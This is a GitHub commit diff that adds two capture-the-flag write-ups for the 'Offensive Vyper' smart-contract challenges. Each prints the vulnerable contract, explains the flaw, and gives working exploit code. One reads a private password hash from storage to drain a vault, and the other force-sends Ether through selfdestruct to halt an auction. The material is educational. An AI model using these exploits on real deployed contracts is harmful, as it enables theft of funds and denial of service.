-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
f6ced7c
commit 28a1b2d
Showing
9 changed files
with
1,560 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
## 0) Intro | ||
|
||
This article is the first write-up of the Offensive Vyper challenges created by [@jtriley_eth](https://twitter.com/jtriley_eth). | ||
|
||
You can find instructions on how to get started [here](https://github.com/JoshuaTrujillo15/offensive_vyper). | ||
|
||
|
||
## 1) Challenge | ||
|
||
> <cite>The Password Vault is a vault that holds Ether and is password protected. Your Objective is to steal all of the Ether in the Vault. While the password is stored in this repository, the objective is to do it without reading the password from `test/secrets/dont-peek.js`.</cite> | ||
|
||
## 2) Code Review | ||
|
||
`PasswordVault.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/2c02cb408e95030215ff5d2aef087213f64edd17/contracts/password-vault/PasswordVault.vy)): | ||
|
||
```python | ||
|
||
# @version ^0.3.2 | ||
|
||
""" | ||
@title Password Protected Vault | ||
@author jtriley.eth | ||
""" | ||
|
||
password_hash: bytes32 | ||
|
||
owner: address | ||
|
||
@external | ||
def __init__(password_hash: bytes32): | ||
self.password_hash = password_hash | ||
|
||
self.owner = msg.sender | ||
|
||
|
||
@external | ||
def set_new_password(old_password_hash: bytes32, new_password_hash: bytes32): | ||
""" | ||
@notice Sets a new password hash. Passwords are hashed offchain for security. | ||
@param old_password_hash Last password hash for authentication. | ||
@param new_password_hash New password hash to set. | ||
@dev Throws when password is invalid and the caller is not the owner. | ||
""" | ||
|
||
assert self.password_hash == old_password_hash or msg.sender == self.owner, "unauthorized" | ||
|
||
self.password_hash = new_password_hash | ||
|
||
|
||
@external | ||
def withdraw(password_hash: bytes32): | ||
""" | ||
@notice Withdraws funds from vault. | ||
@param password_hash Password hash for authentication. | ||
@dev Throws when password hash is invalid and the caller is not the owner. | ||
""" | ||
|
||
assert self.password_hash == password_hash or msg.sender == self.owner, "unauthorized" | ||
|
||
send(msg.sender, self.balance) | ||
|
||
|
||
@external | ||
@payable | ||
def __default__(): | ||
pass | ||
|
||
``` | ||
|
||
Contract main functions: | ||
|
||
- `set_new_password` is used to set a new password. It accepts the old password and the new password to set. It checks if the `old_password_hash` parameter equals the initial password (set during contract creation) and if the `msg.sender` equals the owner. If one of these two conditions is false, the function fails. So, the owner can change the password even without knowing the old one, and anyone who knows the current password can change it with a new one. | ||
|
||
- `withdraw` allows to withdraw the contract balance and sends it to the `msg.sender`. To withdraw the entire amount is required to provide the password hash. There are two checks in place: one checks if the password provided is equal to the `password_hash`, and the other if the `msg.sender` is the contract owner. | ||
|
||
|
||
>The `@dev` comment of both functions says: | ||
><cite>Throws when password is invalid **and** the caller is not the owner.</cite> | ||
>These conditions are evaluated in a logical disjunction (**OR**), so only one of the two needs to be true to execute the functions. | ||
Therefore, since we are interested in stealing all the ETH, if we find a way to discover the value of the `password_hash`, we can withdraw the entire amount and solve the challenge (the condition `self.password_hash == password_hash` will be true). | ||
|
||
|
||
#### Where is `password_hash` value stored? | ||
|
||
`password_hash` is a contract variable and is initialized during the contract creation (line `14`). This variable is not public, so it's not accessible from the external. However, reading the [documentation](https://vyper.readthedocs.io/en/stable/scoping-and-declarations.html#storage-layout): | ||
> Storage variables are located within a smart contract at specific storage slots. By default, the compiler allocates the first variable to be stored at slot 0; subsequent variables are stored in order after that. | ||
The `password_hash` is the first contract variable (line `8`), so it's stored in the slot `0`. | ||
|
||
#### How can we read contract storage variables? | ||
|
||
Using the `getStorageAt` from the `ethers` library we can access the contract storage. | ||
|
||
|
||
## 3) Solution | ||
|
||
The solution consists of two steps: | ||
- retrieve the password hash from the contract storage | ||
- call the withdraw function providing this password | ||
|
||
`password-vault.challenge.js`: | ||
```javascript | ||
|
||
it('Exploit', async function () { | ||
// YOUR EXPLOIT HERE | ||
|
||
let password = await attacker.provider.getStorageAt(this.vault.address, 0) | ||
|
||
let exploit = await (await ethers.getContractFactory('PasswordVaultExploit', deployer)).deploy(this.vault.address) | ||
|
||
await exploit.connect(attacker).run(password) | ||
|
||
}) | ||
|
||
``` | ||
|
||
|
||
`PasswordVaultExploit.vy`: | ||
```python | ||
|
||
# YOUR EXPLOIT HERE | ||
@external | ||
def run(password_hash: bytes32): | ||
Passwordvault(self.target).withdraw(password_hash) | ||
|
||
@external | ||
@payable | ||
def __default__(): | ||
pass | ||
|
||
``` | ||
|
||
You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/password-vault.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/PasswordVaultExploit.vy). | ||
|
||
|
||
## 4) References | ||
|
||
- [storage-layout](https://vyper.readthedocs.io/en/stable/scoping-and-declarations.html#storage-layout) | ||
- [ethers - Provider.getStorageAt](https://docs.ethers.io/v5/api/providers/provider/#Provider-getStorageAt) |
231 changes: 231 additions & 0 deletions
231
Offensive_Vyper/OffensiveVyper_01_UnstoppableAuction.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,231 @@ | ||
## 1) Challenge | ||
|
||
> <cite>The Unstoppable Auction is a simple Ether auction contract. It is supposedly permissionless and unstoppable. Your objective is to halt the auction.</cite> | ||
Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth). | ||
|
||
|
||
## 2) Code Review | ||
|
||
`UnstoppableAuction.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/unstoppable-auction/UnstoppableAuction.vy)): | ||
|
||
```python | ||
|
||
# @version ^0.3.2 | ||
|
||
""" | ||
@title Unstoppable Auction | ||
@author jtriley.eth | ||
@license MIT | ||
""" | ||
|
||
event NewBid: | ||
bidder: indexed(address) | ||
amount: uint256 | ||
|
||
|
||
owner: public(address) | ||
|
||
total_deposit: public(uint256) | ||
|
||
deposits: public(HashMap[address, uint256]) | ||
|
||
highest_bid: public(uint256) | ||
|
||
highest_bidder: public(address) | ||
|
||
auction_start: public(uint256) | ||
|
||
auction_end: public(uint256) | ||
|
||
|
||
@external | ||
def __init__(auction_start: uint256, auction_end: uint256): | ||
assert auction_start < auction_end, "invalid time stamps" | ||
|
||
self.auction_start = auction_start | ||
|
||
self.auction_end = auction_end | ||
|
||
self.owner = msg.sender | ||
|
||
|
||
@internal | ||
def _handle_bid(bidder: address, amount: uint256): | ||
assert self.balance == self.total_deposit + amount, "invalid balance" | ||
|
||
assert self.auction_start <= block.timestamp and block.timestamp < self.auction_end, "not active" | ||
|
||
# if the current bidder is not highest_bidder, assert their bid is higher than the last, | ||
# otherwise, this means the highest_bidder is increasing their bid | ||
if bidder != self.highest_bidder: | ||
assert amount > self.highest_bid, "bid too low" | ||
|
||
self.total_deposit += amount | ||
|
||
self.deposits[bidder] += amount | ||
|
||
self.highest_bid = amount | ||
|
||
self.highest_bidder = bidder | ||
|
||
log NewBid(bidder, amount) | ||
|
||
|
||
@external | ||
def withdraw(): | ||
""" | ||
@notice Withdraws a losing bid | ||
@dev Throws if msg sender is still the highest bidder | ||
""" | ||
assert self.highest_bidder != msg.sender, "highest bidder may not withdraw" | ||
|
||
assert self.balance == self.total_deposit, "invalid balance" | ||
|
||
amount: uint256 = self.deposits[msg.sender] | ||
|
||
self.deposits[msg.sender] = 0 | ||
|
||
self.total_deposit -= amount | ||
|
||
send(msg.sender, amount) | ||
|
||
|
||
@external | ||
def owner_withdraw(): | ||
""" | ||
@notice Owner withdraws Ether once the auction ends | ||
@dev Throws if msg sender is not the owner or if the auction has not ended | ||
""" | ||
assert msg.sender == self.owner, "unauthorized" | ||
|
||
assert self.balance == self.total_deposit, "invalid balance" | ||
|
||
assert block.timestamp >= self.auction_end, "auction not ended" | ||
|
||
send(msg.sender, self.balance) | ||
|
||
|
||
@external | ||
@payable | ||
def bid(): | ||
""" | ||
@notice Places a bid if msg.value is greater than previous bid. If bidder is the | ||
same as the last, allow them to increase their bid. | ||
@dev Throws if bid is not high enough OR if auction is not live. | ||
""" | ||
self._handle_bid(msg.sender, msg.value) | ||
|
||
|
||
@external | ||
@payable | ||
def __default__(): | ||
self._handle_bid(msg.sender, msg.value) | ||
|
||
|
||
``` | ||
|
||
Contract main functions: | ||
|
||
- `_handle_bid` holds the logic for handling the bid. `bid` and the `__default__` functions call it. In particular, multiple conditions need to be satisfied to set a new bid: | ||
- the contract balance is equal to the `total_deposit` variable plus the amount of the bid (line `42`) | ||
- the auction is still valid (i.e. if it's started and not ended) - line `44.` | ||
- the bidder is not the highest (line `48`); if it's true, it checks if the current bid is greater than the highest bid (line `49`). If the bidder is not the highest and the bid is not greater than the highest bid, the function fails with an assert message. | ||
- it increments the value of the `total_deposit` variable (line `51`) | ||
- it increments the bid of the bidder (line `53`) | ||
- it sets the highest bid with the value of the current bid amount (line `55`) | ||
- it sets the highest bidder with the current bidder (line `57`) | ||
|
||
- `withdraw` is used to withdraw the bid if it's not the highest: | ||
- the caller is not the highest bidder (line `68`) | ||
- the contract balance equals the `total_deposit` value | ||
- lines `72-78`, update the `deposits` variable and sends the value deposited to the sender | ||
|
||
- `owner_withdraw` is used by the owner to withdraw the balance when the auction is ended | ||
- `bid` calls `_handle_bid` | ||
- `__default__`, the fallback function, calls `_handle_bid` | ||
|
||
Since our goal is to stop the auction from working, let's focus our attention on the `_handle_bid` function. | ||
|
||
#### How can we stop the contract from handling bids? | ||
|
||
If we can make one of the conditions inside the `_handle_bid` function permanently false, it will no longer complete its execution, causing a Denial-of-Service. | ||
|
||
Among the conditions in `_handle_bid`, only the condition at line `42` relies on comparing balance values that are stored in different places: | ||
- `self.balance` is the contract balance | ||
- `total_deposit` is a variable that is updated when someone sends a new highest bid | ||
|
||
When calling `withdraw`, both `self.balance` and `total_deposit` are updated with the same value: | ||
- `self.balance` is decreased because the `send` function is called (it transfers the balance of the contract to `msg.sender`) | ||
- `total_deposit` is reduced by the same amount that is sent to the `msg.sender` | ||
|
||
We need to find a way to update `self.balance` but not `total_deposit`. This way, the condition `assert self.balance == self.total_deposit + amount, "invalid balance"` will always be false. | ||
|
||
#### How can we send ETH to the contract? | ||
|
||
We can transfer ETH to the contract by calling `raw_call` (with some value amount) from a contract or using `sendTransaction` from a `ethers` script. However, the problem with this approach is that the fallback function defined in the contract will call the `_handle_bid`. | ||
|
||
#### Is there a way to transfer ETH without triggering any fallback function? | ||
|
||
The answer is **YES**. It's possible to send the balance of a contract to another one by calling `selfdestruct`. This way, no code is executed on the receiver contract, and thus the `__default__` fallback will not be called. However, the balance of the contract that calls `selfdestruct` will be transferred to the target contract. It means if we call `selfdestruct` from a contract we control (that has some balance) and we set the receiver to be the auction contract, we will update the auction balance but not the `total_deposit` variable, making the condition at line `42` false. | ||
|
||
|
||
## 3) Solution | ||
|
||
The solution consists of two steps: | ||
- send some ETH to our contract so that its balance will be `> 0` | ||
- execute the `run` function of our contract that will call `selfdestruct` specifying the receiver as the auction contract | ||
|
||
`unstoppable-auction.challenge.js`: | ||
```javascript | ||
|
||
it('Exploit', async function () { | ||
// YOUR EXPLOIT HERE | ||
|
||
let exploit = await ( | ||
await ethers.getContractFactory('UnstoppableAuctionExploit', deployer) | ||
).deploy(this.auction.address) | ||
|
||
|
||
let tx = { | ||
to: exploit.address, | ||
value: ethers.utils.parseEther("0.001"), | ||
gasLimit: 50000 | ||
} | ||
|
||
await attacker.sendTransaction(tx) | ||
|
||
|
||
await exploit.connect(attacker).run(); | ||
|
||
}) | ||
|
||
``` | ||
|
||
|
||
`UnstoppableAuctionExploit.vy`: | ||
```python | ||
|
||
# YOUR EXPLOIT HERE | ||
@external | ||
def run(): | ||
selfdestruct(self.target) | ||
|
||
|
||
@external | ||
@payable | ||
def __default__(): | ||
pass | ||
|
||
``` | ||
|
||
You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/unstoppable-auction.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/UnstoppableAuctionExploit.vy). | ||
|
||
|
||
## 4) References | ||
|
||
- [vyper - raw_call](https://vyper.readthedocs.io/en/v0.3.6/built-in-functions.html#raw_call) | ||
- [vyper - selfdestruct](https://vyper.readthedocs.io/en/v0.3.6/built-in-functions.html#selfdestruct) | ||
- [ethers - sendTransaction](https://docs.ethers.io/v5/api/signer/#Signer-sendTransaction) | ||
- [SWC-132 - Unexpected Ether balance](https://swcregistry.io/docs/SWC-132) | ||
- [Force Feeding - selfdestruct](https://consensys.github.io/smart-contract-best-practices/attacks/force-feeding/#selfdestruct) |
Oops, something went wrong.